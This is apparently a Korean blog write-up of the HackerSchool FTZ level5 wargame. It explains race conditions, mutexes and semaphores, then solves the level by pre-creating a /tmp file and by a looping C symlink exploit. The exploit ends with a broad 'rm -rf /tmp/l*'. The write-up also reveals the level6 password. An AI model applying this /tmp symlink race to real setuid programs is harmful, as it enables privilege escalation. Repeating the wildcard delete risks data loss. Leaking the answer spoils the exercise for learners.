HackerSchool_level5

level5 문제풀이(Race Condition)

keyword : tmp weakness exploit

 

---

문제파악 

/usr/bin/ 파일에서 /tmp 디렉토리에서 임시파일에서 취약점을 찾나보네요

여기서 임시파일이 취약한 이유는 서버같은 부분에서 임시 작업인 로그 및 중요 정보를 담는 곳

그곳은 root 밑에 부속된 tmp(임시 파일)라는 부분이거든요 그니까 root쪽에서 보는게 좋겠죠?

실수를 많이 하는 부분 ㅠ

올바른 접근 방식

그러나 힌트에선 level.tmp 임시파일에서 하라던데 없죠? 그럼 만들어야겠네요

근데 하다보면서 알게된 사실인데 결국 어짜피 계정만 여러개로 나누어 관리만 했지 문제 접근은..
해당 로직에 있으니까..

이렇게 접근이 가능한데.. 뭐 재미있게 본 부분이고 다시 문제로 돌아가서

level5 문제는 푸는 여러가지 방법이 있어서 크게 2가지로
레이스 컨디션 공격과 임시파일 권한 조작해 덮어쓰기? 정도로 볼 수 있어요
하지만 여기선 주된 내용은 레이스 컨디션 공격 같네요 그럼 한 번 실습해볼까요

---

취약점 탐색

그 전에 힌트에서.. 그니까 이미지로 보시면

level6으로 들어가야 권한이 되서 코드를 볼 수가 있네요..
우리는 공부이긴 하지만 실습이라고 생각하고 다 한 뒤에 저 코드를 분석해 보도록 합시다 ㅠ

분석해보시면 왜 Race Condition 공격이나 파일 덮어쓰기 하라는지 알 수 있겠죠?

---

Race Condition..에 대하여

교착 상태의 문제점으로 동시에 프로세스에 접근 시 발생하는 문제

라고 간단하게 정의가 될 수 있으며 상세하게 살펴보고 대처법도 알아봐야겠죠?

---

Race Condition이란?

두 개 이상의 프로세스가 공통 자원을 병행적으로 읽거나 쓰는 동작을 할 때, 
공용 데이터에 대한 접근이 어떤 순서에 따라 이루어졌는지에 따라 그 실행 결과가 같지 않고 달라지는 상황

Race Condition 취약점 발생

잘 대처한 모습(Mutex의 예시죠)

위와 같은 일이 일어난 큰 이유는 비동기의 활용 때문인데요 역시나 동시에 접근해 작업하면
일의 효율이 올라가기에 이러한 취약점을 대처하는 것이 가장 중요합니다.

참고로 비동기는 동시 접근/ 동기는 하나씩 하는 거예요(프로세스가) 쉽죠?
비동기로 작동 시 공유 데이터에 접근 순서에 의해 권한과 실행 반경 등이 꼬일 수 있어서..
Mutual exclusion, deadlock, starvation 위와 같은 문제가 생깁니다.(단, 경쟁 프로세스에서만)

• Mutual Exclusiong
  - 공용 데이터에 한 프로세스가 접근 시 다른 것이 오면 막음(상호 배제)
• deadlock
  - 각 프로세스가 모든 자원을 엑세스 한다면 동시 접근 시 모든 자원을 독점해 다른 App이 중지됨 
• starvation
  - 기아 상태로 통신과정에서 작업이 끝날 때까지 기달리면서 생길 수 있는 문제

---

해결 방법

Semaphore(세마포어)

공유된 자원의 데이터를 여러 프로세스가 접근하는 것을 막음
일종에 카운터 같은 계념, 그러나 프로세스를 하나의 스레드만 넣을 수도 여러 개의 스레드로는 자유

---

Mutex(뮤텍스)

세마포어랑 유사하며 차이점은 각 쓰레드들의 실행 시간이 겹치지 않게 단독으로 실행 시킴
locking과 unlocking을 사용해 즉, 두 쓰레드가 동시에 사용은 안된다는 이야기!

---

실습

위에 나온 내용과 방어 기법은 알아두면 좋겠죠 물론 CS이기에 너무 정확하게 알려고 하면 피곤하겠죠
어느정도만 알면 되요 시험 봐도 다 까먹으니까 들었을 때 알 정도로만 그래도 알아는 두기!

많은 해결 중에 가장 하기 쉬운 파일 덮어쓰기를 먼저해볼까요

파일 덮어쓰기(?)

아까 힌트에서 /usr/bin/level5를 실행시키면 /tmp에 level5.tmp라는 임시파일이 나온다고 했죠
그니까 /tmp에 우리가 level5.tmp를 만들어 놓는거예요 그러면..

이러고 뜬다면.. 저희가 만든 파일이 되겠죠 근데 아까 /usr/bin/level5를 실행시키면..
이 곳에 같은 이름의 파일을 생성할 수는 없기에.. 또한 권한이 다른 파일이기에 덮어쓰기만 하겠죠

참고로 이런 형식으로 한다면 심볼링크의 역할과 다름이 없지만 권한은 그러지 않아요
따로 설정한 부분이 아닌 충돌로 인한 강제 병합? 느낌이니까요
즉, level6의 /usr/bin/level5가 한 일을 한 번 더 level5의 권한에 파일에 하는게 일종의 하드링크
그러나 우린 그냥 덮어쓰는 거처럼 설정됨(심볼릭 링크 설정하면 비교적 직관적으로 변함)

차이점이라면 하드링크나 소프트링크인지의 차이인데 바로가기랑 복사한거랑 차이라고..
보시면 상관 없을 거 같네요 참고로 In -s 목표 링크파일명(Soft)로 하면 되요
파일 만들고 해야하는건 당연한 거겠죠?

그러면 저희가 만든 파일에 그 flag가 나올 거예요 한 번 해볼까요

짜란! 바로 나왔죠 what the hell이라네요 ㅎㅎ
이렇게 하는 방법이 있고요 그러면 해당 권한을 취득해 취약점 코드 분석 후..
race condition공격을 진행해볼까요

---

실습2

놀랍게도.. 파일이 박살나게 나오네요
근데 여기 키워드는 Race Condition으로써 어떻게 아냐?
힌트를 보고 임시파일 생성을 중간에 가로치거나 덮어쓰는 방법이 떠오르니까요..

해당 취약점 코드를 분석하긴.. 힘들겟네요
참고로 그냥 root 권한으로 접근해서 확인했는데도.. ㅠ녀애
근데 다시 한 번 생각해보면 flag 문자열이 코드에 있나봐요 어쨋든

비동기 형식으로 작동할거니까 하나는 시스템 명령어에서 해당 /usr/bin/level5를 실행해야겠죠
또한 한 번하면 너무 짧으니까 반복문으로 해서 반복하기에 앞에 &도 붙여서..

/usr/bin/level5 실행하기

// file name : Race1.c
// Complie : gcc -o Race1 Race1.c
#include <stido.h>
 
int main(){
        for(int i=0; i<10; i++)
                system("/usr/bin/level5 &");
}
 

또한 이렇게 반복된 상황에서 빨리 우리가 삽입해 flag를 얻을 코드를 넣어야겠죠

Exploit code

// file name : exploit.c
// Complie : gcc -o exploit exploit.c
#include <stdio.h>
 
int main(){
        int i;
        system("touch /tmp/flag.txt");
 
        for(i=0; i<10; i++){
                system("ln -s /tmp/flag.txt /tmp/level5.tmp");
        }
 
        system("cat /tmp/flag.txt");
        system("rm -rf /tmp/l*");
}
 

자 그럼 위 /usr..을 실행할 코드를 실행하고 바로 Exploit 코드를 실행해야지만..
수작업으로는 불가능이죠 금방 끝나니까 그러니까 쉘 스크립트를 실행해봅시다.

참고로 쉘 스크립트에 대하여 궁금하다면.. 

Bash 입문자를 위한 핵심 요약 정리 (Shell Script)

level6 : what the hell 입니다. 그럼 level7로 후딱 올라가봅시다!

---

참고 자료

Race conditions

 

[운영체제] Race Condition과 예방할 방법(세마포어, 뮤텍스)

 

참고 이미지

Level Up free icons designed by Freepik

 

Race conditions